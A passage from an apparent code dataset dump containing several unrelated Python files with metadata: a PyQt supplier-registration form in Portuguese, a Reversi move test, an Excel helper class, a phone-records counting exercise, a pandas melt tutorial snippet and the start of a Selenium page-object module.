4, QtGui.QTableWidgetItem(str(rg)))\n self.__pesquisarFisicaJuridica.tabPesquisar.setItem(linha, 5, QtGui.QTableWidgetItem(str(expeditor)))\n self.__pesquisarFisicaJuridica.tabPesquisar.setItem(linha, 6, QtGui.QTableWidgetItem(str(uf)))\n self.__pesquisarFisicaJuridica.tabPesquisar.setItem(linha, 7, QtGui.QTableWidgetItem(str(aniversario)))\n self.__pesquisarFisicaJuridica.tabPesquisar.setItem(linha, 8, QtGui.QTableWidgetItem(str(sexo)))\n self.__pesquisarFisicaJuridica.tabPesquisar.setItem(linha, 9, QtGui.QTableWidgetItem(str(mae)))\n self.__pesquisarFisicaJuridica.tabPesquisar.setItem(linha, 10, QtGui.QTableWidgetItem(str(pai)))\n self.__pesquisarFisicaJuridica.tabPesquisar.setItem(linha, 11, QtGui.QTableWidgetItem(str(endereco)))\n self.__pesquisarFisicaJuridica.tabPesquisar.setItem(linha, 12, QtGui.QTableWidgetItem(str(numero)))\n self.__pesquisarFisicaJuridica.tabPesquisar.setItem(linha, 13, QtGui.QTableWidgetItem(str(complemento)))\n self.__pesquisarFisicaJuridica.tabPesquisar.setItem(linha, 14, QtGui.QTableWidgetItem(str(bairro)))\n self.__pesquisarFisicaJuridica.tabPesquisar.setItem(linha, 15, QtGui.QTableWidgetItem(str(cidade)))\n self.__pesquisarFisicaJuridica.tabPesquisar.setItem(linha, 16, QtGui.QTableWidgetItem(str(estado)))\n self.__pesquisarFisicaJuridica.tabPesquisar.setItem(linha, 17, QtGui.QTableWidgetItem(str(cep)))\n\n linha += 1\n\n def setarTabelaPesquisaJuridico(self, __retorno):\n qtde_registros = len(__retorno)\n self.__pesquisarFisicaJuridica.tabPesquisar.setRowCount(qtde_registros)\n\n linha = 0\n for pesqui in __retorno:\n # capturando os dados da tupla\n\n codigo = pesqui[0]\n razao = pesqui[1]\n fantasia = pesqui[2]\n cnpj = pesqui[3]\n inscricao = pesqui[4]\n endereco = pesqui[5]\n numero = pesqui[6]\n complemento = pesqui[7]\n bairro = pesqui[8]\n cidade = pesqui[9]\n estado = pesqui[10]\n cep = pesqui[11]\n\n\n # preenchendo o grid de pesquisa\n self.__pesquisarFisicaJuridica.tabPesquisar.setItem(linha, 0, QtGui.QTableWidgetItem(str(codigo)))\n self.__pesquisarFisicaJuridica.tabPesquisar.setItem(linha, 1, QtGui.QTableWidgetItem(str(razao)))\n self.__pesquisarFisicaJuridica.tabPesquisar.setItem(linha, 2, QtGui.QTableWidgetItem(str(fantasia)))\n self.__pesquisarFisicaJuridica.tabPesquisar.setItem(linha, 3, QtGui.QTableWidgetItem(str(cnpj)))\n self.__pesquisarFisicaJuridica.tabPesquisar.setItem(linha, 4, QtGui.QTableWidgetItem(str(inscricao)))\n self.__pesquisarFisicaJuridica.tabPesquisar.setItem(linha, 5, QtGui.QTableWidgetItem(str(endereco)))\n self.__pesquisarFisicaJuridica.tabPesquisar.setItem(linha, 6, QtGui.QTableWidgetItem(str(numero)))\n self.__pesquisarFisicaJuridica.tabPesquisar.setItem(linha, 7, QtGui.QTableWidgetItem(str(complemento)))\n self.__pesquisarFisicaJuridica.tabPesquisar.setItem(linha, 8, QtGui.QTableWidgetItem(str(bairro)))\n self.__pesquisarFisicaJuridica.tabPesquisar.setItem(linha, 9, QtGui.QTableWidgetItem(str(cidade)))\n self.__pesquisarFisicaJuridica.tabPesquisar.setItem(linha, 10, QtGui.QTableWidgetItem(str(estado)))\n self.__pesquisarFisicaJuridica.tabPesquisar.setItem(linha, 11, QtGui.QTableWidgetItem(str(cep)))\n\n linha += 1\n\n\n\n def setarCamposFisicoJuridico(self):\n fornecedor = FornecedorDao()\n if self.ui.radBtnPessoaFisica.isChecked():\n itens = []\n\n for item in self.__pesquisarFisicaJuridica.tabPesquisar.selectedItems():\n itens.append(item.text())\n\n codigo = str(itens[0])\n nome = str(itens[1])\n apelido = str(itens[2])\n cpf = str(itens[3])\n rg = str(itens[4])\n expeditor = str(itens[5])\n uf = str(itens[6])\n aniversario = str(itens[7])\n sexo = str(itens[8])\n endereco = str(itens[9])\n numero = str(itens[10])\n complemento = str(itens[11])\n bairro = str(itens[12])\n cidade = str(itens[13])\n estado = str(itens[14])\n cep = str(itens[15])\n\n if self.ui.radBtnPessoaFisica.isChecked():\n cli = fornecedor.pesquisarFornecedoresFisico(codigo)\n pesDao = EmpresaDao()\n emp = pesDao.pesquisaEmpresaJuridica(codigo)\n if emp == []:\n if cli == []:\n __dados = PessoaFisica(None, codigo, None, nome, apelido, cpf, rg, expeditor, uf, aniversario, sexo, endereco, numero, complemento, bairro, None, None, None, cidade, estado, cep)\n self.setCamposFisicoJuridico(__dados)\n self.dialogFisicoJuridico.close()\n else:\n MensagemBox().warning('Mensagem', \"Atenção já tem um cadastro desta pessoa\")\n else:\n self.mensagem.warning('Mensagem', \"Atenção já tem um cadastro como empresa não poder ser fornecedor\")\n\n elif self.ui.radBtnPessoaJuridica.isChecked():\n itens = []\n\n for item in self.__pesquisarFisicaJuridica.tabPesquisar.selectedItems():\n itens.append(item.text())\n\n\n codigo = str(itens[0])\n razao = str(itens[1])\n fantasia = str(itens[2])\n cnpj = str(itens[3])\n inscricao = str(itens[4])\n endereco = str(itens[5])\n numero = str(itens[6])\n complemento = str(itens[7])\n bairro = str(itens[8])\n cidade = str(itens[9])\n estado = str(itens[10])\n cep = str(itens[11])\n\n cli = fornecedor.pesquisarFornecedoresJuridico(codigo)\n pesDao = EmpresaDao()\n emp = pesDao.pesquisaEmpresaJuridica(codigo)\n if emp == []:\n if cli == []:\n __dados = PessoaJuridica(None, codigo, None, razao, fantasia, cnpj, inscricao, endereco, numero, complemento, bairro, None, cidade, estado, cep, None)\n self.setCamposFisicoJuridico(__dados)\n self.dialogFisicoJuridico.close()\n else:\n MensagemBox().warning('Mensagem', \"Atenção já tem um cadastro desta pessoa\")\n else:\n self.mensagem.warning('Mensagem', \"Atenção já tem um cadastro como empresa não poder ser fornecedor\")\n\n def setCamposFisicoJuridico(self, campos):\n if self.ui.radBtnPessoaFisica.isChecked():\n self.ui.txtCodigo.setText(campos.getIdPesFisica)\n self.ui.txtCnpj.setText(campos.getCpf)\n self.ui.txtInscricaoEstadua.setText(campos.setRg)\n self.ui.txtFantasia.setText(campos.getApelido)\n self.ui.txtRazaoSocial.setText(campos.getNome)\n elif self.ui.radBtnPessoaJuridica.isChecked():\n self.ui.txtCodigo.setText(campos.getIdPesJuridica)\n self.ui.txtCnpj.setText(campos.getCnpj)\n self.ui.txtInscricaoEstadua.setText(campos.setInscricao)\n self.ui.txtFantasia.setText(campos.getFantasia)\n self.ui.txtRazaoSocial.setText(campos.getRazao)\n\n def cadastrarTelefone(self):\n cli = FornecedorDao()\n i = 0\n for lista in self.contatoAdd:\n a = self.contatoAdd[i]\n\n contato = a[0]\n telefone = a[1]\n\n __descricao = ContatoTelefone(None, contato, telefone, self.idFornecedor)\n cli.cadastrarTelefone(__descricao)\n id = cli.ultimoRegistro()\n cli.cadastrarTelefoneFornecedor(id, self.idFornecedor)\n\n i += 1\n\n def cadastrarEmail(self):\n cli = FornecedorDao()\n i = 0\n for lista in self.emailAdd:\n a = self.emailAdd[i]\n\n contato = a[0]\n email = a[1]\n\n __descricao = ContatoEmail(None, contato, email, self.idFornecedor)\n cli.cadastrarEmail(__descricao)\n id = cli.ultimoRegistro()\n cli.cadastrarEmailFornecedor(id, self.idFornecedor)\n\n i += 1\n\n def cadastro(self):\n __pesDao = EmpresaDao()\n __retorno = __pesDao.pesquisaCodigoFrom()\n if __retorno != []:\n if self.ui.txtCodigo.text() != '' and self.ui.txtCnpj.text() != '' and self.ui.txtInscricaoEstadua.text() != '' and self.ui.txtFantasia.text() != '' and self.ui.txtRazaoSocial.text() != '':\n fornecedorDao = FornecedorDao()\n if self.ui.radBtnPessoaFisica.isChecked():\n idPessoa = fornecedorDao.pesquisarPessoaFis(self.ui.txtCodigo.text())\n fornecedor = Fornecedor(None, idPessoa, self.ui.txtCodigo.text(), None, None, None, None, None, self.ui.txtObservacao.toPlainText(), 1, None)\n fornecedorDao.cadastrarFornecedorFisico(fornecedor)\n self.idFornecedor = fornecedorDao.ultimoRegistro()\n\n\n if self.contatoAdd != []:\n self.cadastrarTelefone()\n\n if self.emailAdd != []:\n self.cadastrarEmail()\n\n self.cancelar()\n\n elif self.ui.radBtnPessoaJuridica.isChecked():\n idPessoa = fornecedorDao.pesquisarPessoaJur(self.ui.txtCodigo.text())\n fornecedor = Fornecedor(None, idPessoa, None, self.ui.txtCodigo.text(), None, None, None, None, self.ui.txtObservacao.toPlainText(), 1, None)\n fornecedorDao.cadastrarFornecedorJuridica(fornecedor)\n self.idFornecedor = fornecedorDao.ultimoRegistro()\n\n if self.contatoAdd != []:\n self.cadastrarTelefone()\n\n if self.emailAdd != []:\n self.cadastrarEmail()\n\n self.cancelar()\n\n else:\n self.mensagem.warning( 'Atenção', \"Preencha os campos obrigatorio\")\n\n def keyPressEvent(self, keyEvent):\n if keyEvent.key() == (QtCore.Qt.Key_F12):\n self.dialog = QDialog(self)\n self.__pesquisarFornecedor = Ui_frmPesquisarFornecedor()\n self.__pesquisarFornecedor.setupUi(self.dialog)\n\n self.__pesquisarFornecedor.txtPesquisar.setValidator(self.validator)\n\n self.__pesquisarFornecedor.txtPesquisar.returnPressed.connect(self.pesquisar)\n\n self.__pesquisarFornecedor.btnPesquisar.clicked.connect(self.pesquisar)\n\n self.__pesquisarFornecedor.tabPesquisar.doubleClicked.connect(self.setarCampos)\n\n self.dialog.setAttribute(QtCore.Qt.WA_DeleteOnClose)\n self.dialog.exec_()\n\n def pesquisar(self):\n __pesDao = FornecedorDao()\n if self.__pesquisarFornecedor.radBtnCodigo.isChecked():\n __codigo = self.__pesquisarFornecedor.txtPesquisar.text()\n __retorno = __pesDao.pesquisaCodigoFisica(__codigo)\n self.setarTabelaPesquisaEditar(__retorno)\n\n elif self.__pesquisarFornecedor.radBtnRazaoSocial.isChecked():\n __razao = self.__pesquisarFornecedor.txtPesquisar.text()\n __retorno = __pesDao.pesquisarNomeFisica(__razao)\n self.setarTabelaPesquisaEditar(__retorno)\n\n elif self.__pesquisarFornecedor.radBtnFantasia.isChecked():\n __fantasia = self.__pesquisarFornecedor.txtPesquisar.text()\n __retorno = __pesDao.pesquisaApelidoFisica(__fantasia)\n self.setarTabelaPesquisaEditar(__retorno)\n\n elif self.__pesquisarFornecedor.radBtnCnpj.isChecked():\n __cnpj = self.__pesquisarFornecedor.txtPesquisar.text()\n __retorno = __pesDao.pesquisaCpfFisica(__cnpj)\n self.setarTabelaPesquisaEditar(__retorno)\n\n elif self.__pesquisarFornecedor.radBtnInsEstadual.isChecked():\n __inscricao = self.__pesquisarFornecedor.txtPesquisar.text()\n __retorno = __pesDao.pesquisaRgFisica(__inscricao)\n self.setarTabelaPesquisaEditar(__retorno)\n\n else:\n self.mensagem.warning('Atenção', \"Selecione uma das opções de pesquisa\")\n\n def setarTabelaPesquisaEditar(self, __retorno):\n qtde_registros = len(__retorno)\n self.__pesquisarFornecedor.tabPesquisar.setRowCount(qtde_registros)\n\n linha = 0\n for pesqui in __retorno:\n # capturando os dados da tupla\n\n codigo = pesqui[0]\n tipo = pesqui[1]\n nome = pesqui[2]\n apelido = pesqui[3]\n cpf = pesqui[4]\n rg = pesqui[5]\n expeditor = pesqui[6]\n uf = pesqui[7]\n aniversario = pesqui[8]\n endereco = pesqui[9]\n numero = pesqui[10]\n complemento = pesqui[11]\n bairro = pesqui[12]\n cidade = pesqui[13]\n estado = pesqui[14]\n cep = pesqui[15]\n site = pesqui[16]\n obs = pesqui[17]\n if pesqui[18] == 1:\n situacao = \"Ativo\"\n else:\n situacao = \"Inativo\"\n\n\n # preenchendo o grid de pesquisa\n self.__pesquisarFornecedor.tabPesquisar.setItem(linha, 0, QtGui.QTableWidgetItem(str(codigo)))\n self.__pesquisarFornecedor.tabPesquisar.setItem(linha, 1, QtGui.QTableWidgetItem(str(tipo)))\n self.__pesquisarFornecedor.tabPesquisar.setItem(linha, 2, QtGui.QTableWidgetItem(str(nome)))\n self.__pesquisarFornecedor.tabPesquisar.setItem(linha, 3, QtGui.QTableWidgetItem(str(apelido)))\n self.__pesquisarFornecedor.tabPesquisar.setItem(linha, 4, QtGui.QTableWidgetItem(str(cpf)))\n self.__pesquisarFornecedor.tabPesquisar.setItem(linha, 5, QtGui.QTableWidgetItem(str(rg)))\n self.__pesquisarFornecedor.tabPesquisar.setItem(linha, 6, QtGui.QTableWidgetItem(str(expeditor)))\n self.__pesquisarFornecedor.tabPesquisar.setItem(linha, 7, QtGui.QTableWidgetItem(str(uf)))\n self.__pesquisarFornecedor.tabPesquisar.setItem(linha, 8, QtGui.QTableWidgetItem(str(aniversario)))\n self.__pesquisarFornecedor.tabPesquisar.setItem(linha, 9, QtGui.QTableWidgetItem(str(endereco)))\n self.__pesquisarFornecedor.tabPesquisar.setItem(linha, 10, QtGui.QTableWidgetItem(str(numero)))\n self.__pesquisarFornecedor.tabPesquisar.setItem(linha, 11, QtGui.QTableWidgetItem(str(complemento)))\n self.__pesquisarFornecedor.tabPesquisar.setItem(linha, 12, QtGui.QTableWidgetItem(str(bairro)))\n self.__pesquisarFornecedor.tabPesquisar.setItem(linha, 13, QtGui.QTableWidgetItem(str(cidade)))\n self.__pesquisarFornecedor.tabPesquisar.setItem(linha, 14, QtGui.QTableWidgetItem(str(estado)))\n self.__pesquisarFornecedor.tabPesquisar.setItem(linha, 15, QtGui.QTableWidgetItem(str(cep)))\n self.__pesquisarFornecedor.tabPesquisar.setItem(linha, 16, QtGui.QTableWidgetItem(str(site)))\n self.__pesquisarFornecedor.tabPesquisar.setItem(linha, 17, QtGui.QTableWidgetItem(str(obs)))\n self.__pesquisarFornecedor.tabPesquisar.setItem(linha, 18, QtGui.QTableWidgetItem(str(situacao)))\n\n linha += 1\n\n def setarCampos(self):\n clienteDao = FornecedorDao()\n itens = []\n\n for item in self.__pesquisarFornecedor.tabPesquisar.selectedItems():\n itens.append(item.text())\n\n codigo = str(itens[0])\n tipo = str(itens[1])\n razao = str(itens[2])\n fantasia = str(itens[3])\n cnpj = str(itens[4])\n insEstadual = str(itens[5])\n expeditor = str(itens[6])\n uf = str(itens[7])\n aniversario = str(itens[8])\n endereco = str(itens[9])\n numero = str(itens[10])\n complemento = str(itens[11])\n bairro = str(itens[12])\n cidade = str(itens[13])\n estado = str(itens[14])\n cep = str(itens[15])\n site = str(itens[16])\n obs = str(itens[17])\n if itens[18] == 'Ativo':\n situacao = True\n else:\n situacao = False\n\n idPessoa = clienteDao.pesquisarPessoaCodigo(codigo)\n idPessoaFisico = clienteDao.pesquisarPessoaFisicaId(str(idPessoa))\n idPessoaJuridica = clienteDao.pesquisarPessoaJuridicaId(idPessoa)\n\n __dados = Fornecedor(codigo, idPessoa, idPessoaFisico, idPessoaJuridica, cnpj, insEstadual, fantasia, razao, obs, situacao, tipo)\n self.botoesEditar()\n self.setCampos(__dados)\n self.pesquisarTelefone(codigo)\n self.pesquisaEmail(codigo)\n self.dialog.close()\n\n def setCampos(self, campos):\n self.ui.txtCodigo.setEnabled(False)\n self.ui.btnPesquisarEmpresa.setEnabled(False)\n\n if campos.getTipo == \"PESSOA FÍSICA\":\n self.ui.radBtnPessoaFisica.setChecked(True)\n self.idPessoaFisica = campos.getIdPessoaFisica\n self.ui.txtCodigo.setText(str(campos.getIdPessoaFisica))\n elif campos.getTipo == \"PESSOA JURÍDICA\":\n self.idPessoaJurirdica = campos.getIdPessoaJuridica\n self.ui.radBtnPessoaJuridica.setChecked(True)\n self.ui.txtCodigo.setText(str(campos.getIdPessoaJuridica))\n\n self.idFornecedor = int(campos.getIdFornecedor)\n self.idPessoa = int(campos.getIdPessoa)\n\n self.ui.txtCnpj.setText(campos.getCnpj)\n self.ui.txtInscricaoEstadua.setText(campos.getInscricaoEstadual)\n self.ui.txtFantasia.setText(campos.getFantasia)\n self.ui.txtRazaoSocial.setText(campos.getRazaoSocial)\n\n if campos.getSituacao == True:\n self.ui.radBtnAtivo.setChecked(True)\n else:\n self.ui.radBtnDesativo.setChecked(True)\n\n self.ui.txtObservacao.setText(str(campos.getObservacao))\n self.editar = True\n\n def pesquisarTelefone(self, campos):\n empresaDao = FornecedorDao()\n id = empresaDao.pesquisaTelefone(campos)\n if id != []:\n self.setTabelaTelefone(id)\n\n def setTabelaTelefone(self, __retorno):\n qtde_registros = len(__retorno)\n self.ui.tabContatoTelefone.setRowCount(qtde_registros)\n\n linha = 0\n for pesqui in __retorno:\n idContato = pesqui[0]\n contato = pesqui[1]\n telefone = pesqui[2]\n\n\n self.ui.tabContatoTelefone.setItem(linha, 0, QtGui.QTableWidgetItem(str(contato)))\n self.ui.tabContatoTelefone.setItem(linha, 1, QtGui.QTableWidgetItem(str(telefone)))\n\n lista = (idContato, contato, telefone)\n self.contatoAdd.append(lista)\n\n\n linha += 1\n\n def pesquisaEmail(self, campos):\n empresaDao = FornecedorDao()\n id = empresaDao.pesquisaEmail(campos)\n if id != []:\n\n self.setTabelaEmail(id)\n\n def setTabelaEmail(self, __retorno):\n qtde_registros = len(__retorno)\n self.ui.tabContatoEmail.setRowCount(qtde_registros)\n\n linha = 0\n for pesqui in __retorno:\n idEmail = pesqui[0]\n contato = pesqui[1]\n email = pesqui[2]\n\n self.ui.tabContatoEmail.setItem(linha, 0, QtGui.QTableWidgetItem(str(contato)))\n self.ui.tabContatoEmail.setItem(linha, 1, QtGui.QTableWidgetItem(str(email)))\n\n lista = (idEmail, contato, email)\n self.emailAdd.append(lista)\n\n linha += 1\n\n def deletarTelefone(self):\n emp = FornecedorDao()\n i = 0\n for lista in self.contatoRemove :\n a = self.contatoRemove[i]\n\n idTelefone = int(a[0])\n\n emp.deletarTelefone(idTelefone, self.idFornecedor)\n pesquisa = emp.pesquisaTelefoneFornecedor(idTelefone, self.idFornecedor)\n if pesquisa == \"\":\n emp.deletarContatoTelefone(idTelefone)\n\n i += 1\n\n def deletarEmail(self):\n emp = FornecedorDao()\n i = 0\n for lista in self.emailRemove:\n a = self.emailRemove[i]\n\n idEmail = a[0]\n\n emp.deletarEmail(idEmail, self.idFornecedor)\n pesquisa = emp.pesquisaEmailFornecedor(idEmail, self.idFornecedor)\n if pesquisa == \"\":\n emp.deletarContatoEmail(idEmail)\n\n i += 1\n\n def atualizaTelefone(self):\n emp = FornecedorDao()\n i = 0\n for lista in self.contatoAtualizar:\n a = self.contatoAtualizar[i]\n\n contato = a[0]\n telefone = a[1]\n\n __descricao = ContatoTelefone(None, contato, telefone, self.idFornecedor)\n emp.cadastrarTelefone(__descricao)\n id = emp.ultimoRegistro()\n emp.cadastrarTelefoneFornecedor(id, self.idFornecedor)\n\n i += 1\n\n def atualizaEmail(self):\n emp = FornecedorDao()\n i = 0\n for lista in self.emailAtualizar:\n a = self.emailAtualizar[i]\n\n contato = a[0]\n email = a[1]\n\n __descricao = ContatoEmail(None, contato, email, self.idFornecedor)\n emp.cadastrarEmail(__descricao)\n id = emp.ultimoRegistro()\n emp.cadastrarEmailFornecedor(id, self.idFornecedor)\n\n i += 1\n\n def atualizar(self):\n if self.contatoRemove != []:\n self.deletarTelefone()\n\n if self.emailRemove != []:\n self.deletarEmail()\n\n if self.contatoAtualizar != []:\n self.atualizaTelefone()\n\n if self.emailAtualizar != []:\n self.atualizaEmail()\n\n\n if self.ui.radBtnAtivo.isChecked():\n ativo = 1\n elif self.ui.radBtnDesativo.isChecked():\n ativo = 0\n\n empresaDao = FornecedorDao()\n empresa = Fornecedor(self.idFornecedor, self.idPessoa, self.idPessoaFisica, self.idPessoaJurirdica, self.ui.txtCnpj.text(), self.ui.txtInscricaoEstadua.text(), self.ui.txtFantasia.text(), self.ui.txtRazaoSocial.text(), self.ui.txtObservacao.toPlainText(), ativo, None)\n empresaDao.atualizarFornecedor(empresa)\n\n self.cancelar()\n\n def deletar(self):\n fisicaDao = FornecedorDao()\n desca = fisicaDao.pesquisarTabelaDesca(str(self.idFornecedor))\n nf = fisicaDao.pesquisarTabelaNf(str(self.idFornecedor))\n\n if desca == [] or nf == []:\n try:\n _fromUtf8 = QtCore.QString.fromUtf8\n except AttributeError:\n def _fromUtf8(s):\n return s\n\n self.msgBox = QtGui.QMessageBox()\n self.msgBox.setWindowTitle('Menssagem')\n icon = QtGui.QIcon()\n icon.addPixmap(QtGui.QPixmap(_fromUtf8(\"./imagens/question.png\")), QtGui.QIcon.Normal, QtGui.QIcon.Off)\n self.msgBox.setWindowIcon(icon)\n self.msgBox.setIconPixmap(QtGui.QPixmap(_fromUtf8(\"./imagens/icon-question.png\")))\n self.msgBox.setText(\"Tem certeza que deseja excluir esse registro\")\n btnSim = QtGui.QPushButton('Sim')\n self.msgBox.addButton(btnSim, QtGui.QMessageBox.YesRole)\n btnNao = QtGui.QPushButton('Não')\n self.msgBox.addButton(btnNao, QtGui.QMessageBox.NoRole)\n btnSim.clicked.connect(self.simDeletar)\n btnNao.clicked.connect(self.fechar)\n btnNao.setFocus()\n self.msgBox.setAttribute(QtCore.Qt.WA_DeleteOnClose)\n self.msgBox.exec_()\n else:\n MensagemBox().warning('Atenção', 'Impossivel fazer essa operação, pois essa pessoa esta relacionada com outro formulario')\n\n def simDeletar(self):\n motoDao = FornecedorDao()\n codigo = self.idFornecedor\n a = motoDao.deletarFornecedor(str(codigo))\n if self.contatoAdd != []:\n self.deletarTelefoneFrom()\n\n if self.emailAdd != []:\n self.deletarEmailFrom()\n\n if self.contatoRemove != []:\n self.deletarTelefone()\n\n if self.emailRemove != []:\n self.deletarEmail()\n\n if a == True:\n MensagemBox().informacao('Mensagem', 'Cadastro deletar com sucesso!')\n self.desativarCampos()\n else:\n MensagemBox().critico('Erro', 'Erro ao deletar as informações no banco de dados')\n\n self.cancelar()\n self.msgBox.close()\n\n def fechar(self):\n self.msgBox.close()\n\n def deletarTelefoneFrom(self):\n emp = FornecedorDao()\n i = 0\n for lista in self.contatoAdd :\n a = self.contatoAdd[i]\n\n idTelefone = int(a[0])\n\n emp.deletarTelefone(idTelefone, str(self.idFornecedor))\n pesquisa = emp.pesquisaTelefoneFornecedor(idTelefone, str(self.idFornecedor))\n if pesquisa == \"\":\n emp.deletarContatoTelefone(idTelefone)\n\n i += 1\n\n def deletarEmailFrom(self):\n emp = FornecedorDao()\n i = 0\n for lista in self.emailAdd:\n a = self.emailAdd[i]\n\n idEmail = a[0]\n\n emp.deletarEmail(idEmail, str(self.idFornecedor))\n pesquisa = emp.pesquisaEmailFornecedor(idEmail, str(self.idFornecedor))\n if pesquisa == \"\":\n emp.deletarContatoEmail(idEmail)\n\n i += 1","sub_path":"classes/classCadFornecedor.py","file_name":"classCadFornecedor.py","file_ext":"py","file_size_in_byte":50625,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"561697490","text":"possible_moves = []\nopponent_cells = []\nmy_cells = []\nempty_cells = []\nboard_size = 8\nboard = [-1] * board_size\nfor row in range(board_size):\n board[row] = [-1] * board_size\n\ndel board[2][3]\nboard[2].insert(3, 1)\ndel board[3][3]\nboard[3].insert(3, 1)\ndel board[4][3]\nboard[4].insert(3, 1)\n\ndel board[3][4]\nboard[3].insert(4, 0)\ndel board[3][5]\nboard[3].insert(5, 0)\ndel board[4][4]\nboard[4].insert(4, 0)\n\nfor row in range(len(board)):\n for column in range(len(board[row])):\n if 0 is board[row][column]:\n opponent_cells.append((row, column))\n elif 1 is board[row][column]:\n my_cells.append((row, column))\n else:\n empty_cells.append((row, column))\n\nprint (\"Opponent:\", opponent_cells, \"\\nMe: \", my_cells)\n\n\nfor item in range(len(opponent_cells)):\n print (opponent_cells[item])\n\n empty_cells_around_opponent = []\n\n for i in range(-1, 2):\n for j in range(-1, 2):\n cell_around = (opponent_cells[item][0] + i, opponent_cells[item][1] + j)\n print(\"cell around: \", cell_around)\n\n if cell_around[0] >= 0 and cell_around[0] < 8 and cell_around[1] >= 0 and cell_around[1] < 8:\n if cell_around in empty_cells:\n\n controlled_cell = (opponent_cells[item][0], opponent_cells[item][1])\n\n while controlled_cell[0] >= 0 and controlled_cell[0] < 8 and controlled_cell[1] >= 0 and \\\n controlled_cell[1] < 8:\n\n controlled_cell = (controlled_cell[0] - i, controlled_cell[1] - j)\n\n print(\"controlled cell: \", controlled_cell)\n\n if controlled_cell in empty_cells:\n break\n else:\n if controlled_cell in my_cells and cell_around not in possible_moves:\n possible_moves.append(cell_around)\n\n print (\"PM: \", possible_moves)","sub_path":"reversi/turnaj/player_tests.py","file_name":"player_tests.py","file_ext":"py","file_size_in_byte":1969,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"490570529","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Date : 2018-09-03 21:00:45\n# @Author : jack_qiu\n# @Version : v1.0.0\n\nimport xlrd\nfrom xlutils.copy import copy\nclass OperationExcel:\n def __init__(self,file_name=None,sheet_id=None):\n \"\"\"init the OperationExcep class\"\"\"\n if file_name:\n self.file_name = file_name\n self.sheet_id = sheet_id\n else:\n self.file_name = '../dataconfig/case.xls'\n self.sheet_id = 0\n self.data = self.get_data()\n\n def get_data(self):\n \"\"\"get the excel data\"\"\"\n data = xlrd.open_workbook(self.file_name)\n tables = data.sheets()[self.sheet_id]\n return tables\n\n def get_lines(self):\n \"\"\"get the excel lines\"\"\"\n return self.data.nrows\n\n def get_cell_value(self,row,col):\n \"\"\"get the cell value\"\"\"\n return self.data.cell_value(row,col)\n\n def write_value(self,row,col,value):\n \"\"\"write excel data\"\"\"\n read_data = xlrd.open_workbook(self.file_name)\n write_data = copy(read_data)\n sheet_data = write_data.get_sheet(0)\n sheet_data.write_data(row,col,value)\n write_date.save(self.file_name)\n\n def get_rows_data(self,case_id):\n \"\"\"get the excel rows data \"\"\"\n row_num = self.get_row_num(case_id)\n rows_data = self.get_row_values(row_num)\n return rows_data\n\n def get_row_num(self,case_id):\n num = 0\n clols_data = self.get_cols_data()\n for col_data in clols_data:\n if case_id in col_data:\n return num\n num = num+1\n\n def get_row_values(self,row):\n \"\"\"get the row's content\"\"\"\n return self.data.rows_values(row)\n\n def get_cols_value(self,col_id=None):\n \"\"\"get the cols content\"\"\"\n if col_id != None:\n cols = self.data.col_values(col_id)\n else:\n cols = self.data.col_values(0)\n return cols\n\nif __name__ == '__main__':\n opers = OperationExcel()\n print(opers.get_cell_value(1,2))\n\n\n","sub_path":"utils/operation_excel.py","file_name":"operation_excel.py","file_ext":"py","file_size_in_byte":2045,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"234824344","text":"\"\"\"\nRead file into texts and calls.\nIt's ok if you don't understand how to read files.\n\"\"\"\nimport csv\nwith open('texts.csv', 'r') as f:\n reader = csv.reader(f)\n texts = list(reader)\n\nwith open('calls.csv', 'r') as f:\n reader = csv.reader(f)\n calls = list(reader)\n\n\n\"\"\"\nTASK 1:\nHow many different telephone numbers are there in the records? \nPrint a message:\n\"There are different telephone numbers in the records.\"\n\"\"\"\n\nphone_numbers = []\n\n#Texts file\nfor element in texts:\n for i in range(2):\n if element[i] not in phone_numbers:\n phone_numbers.append(element[i])\n \n#Calls file\nfor element1 in calls:\n for j in range(2):\n if element1[j] not in phone_numbers:\n phone_numbers.append(element1[j])\n \n#Printing\nprint(\"There are {} different telephone numbers in the records.\".format(len(phone_numbers)))","sub_path":"Task1.py","file_name":"Task1.py","file_ext":"py","file_size_in_byte":882,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"318385","text":"# unpivot a dataset using melt\nimport pandas as pd\nimport matplotlib as plt\n\ninflation.melt(id_vars=['country','indicator'], var_name='year', value_name='annual')\n\n# unpivot everything besides the year column\nur_tall = ur_wide.melt(id_vars='year',var_name='month', value_name='unempl_rate')\n\n\n# Create a date column using the month and year columns of ur_tall\nur_tall['date'] = pd.to_datetime(ur_tall['year'] + '-' + ur_tall['month'])\n\n# Sort ur_tall by date in ascending order\nur_sorted = ur_tall.sort_values(by='date')\n\n# Plot the unempl_rate by date\nur_sorted.plot(y='unempl_rate', x='date')\nplt.show()\n\n# Check inverse correlation between dow jones and US treasury bond movement\n\n# Use melt on ten_yr, unpivot everything besides the metric column\nbond_perc = ten_yr.melt(id_vars='metric', var_name='date', value_name='close')\n\n# Use query on bond_perc to select only the rows where metric=close\nbond_perc_close = bond_perc.query('metric==\"close\"').drop('metric', axis=1, inplace=True)\n\n# Merge (ordered) dji and bond_perc_close on date with an inner join\ndow_bond = pd.merge_ordered(dji, bond_perc_close, on='date', how='inner', suffixes=('_dow','_bond'))\n\n\n# Plot only the close_dow and close_bond columns\ndow_bond.plot(y=['close_dow', 'close_bond'], x='date', rot=90)\nplt.show()","sub_path":"datacamp/merge-tables/melt.py","file_name":"melt.py","file_ext":"py","file_size_in_byte":1284,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"559441637","text":"import time\nfrom typing import Union\n\nfrom selenium.common.exceptions import (\n NoSuchElementException,\n StaleElementReferenceException,\n ElementClickInterceptedException,\n TimeoutException\n)\nfrom selenium.webdriver.support import expected_conditions as ec\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.chrome.webdriver import WebDriver\n\nfrom pages.base import BasePage\nfrom utilites.make_data import make_downtime_from_open_time_2\nfrom utilites.locators import (\n CloseChangeLocators as Close_Locators,\n CancelRequestLocators as Cancel_Locators,\n TaskSectionLocators as Task_Locators,\n DateSectionSelector as Date_Locators,\n CommonTaskDateLocators as Common_Locators,\n FrameBoxLocators as 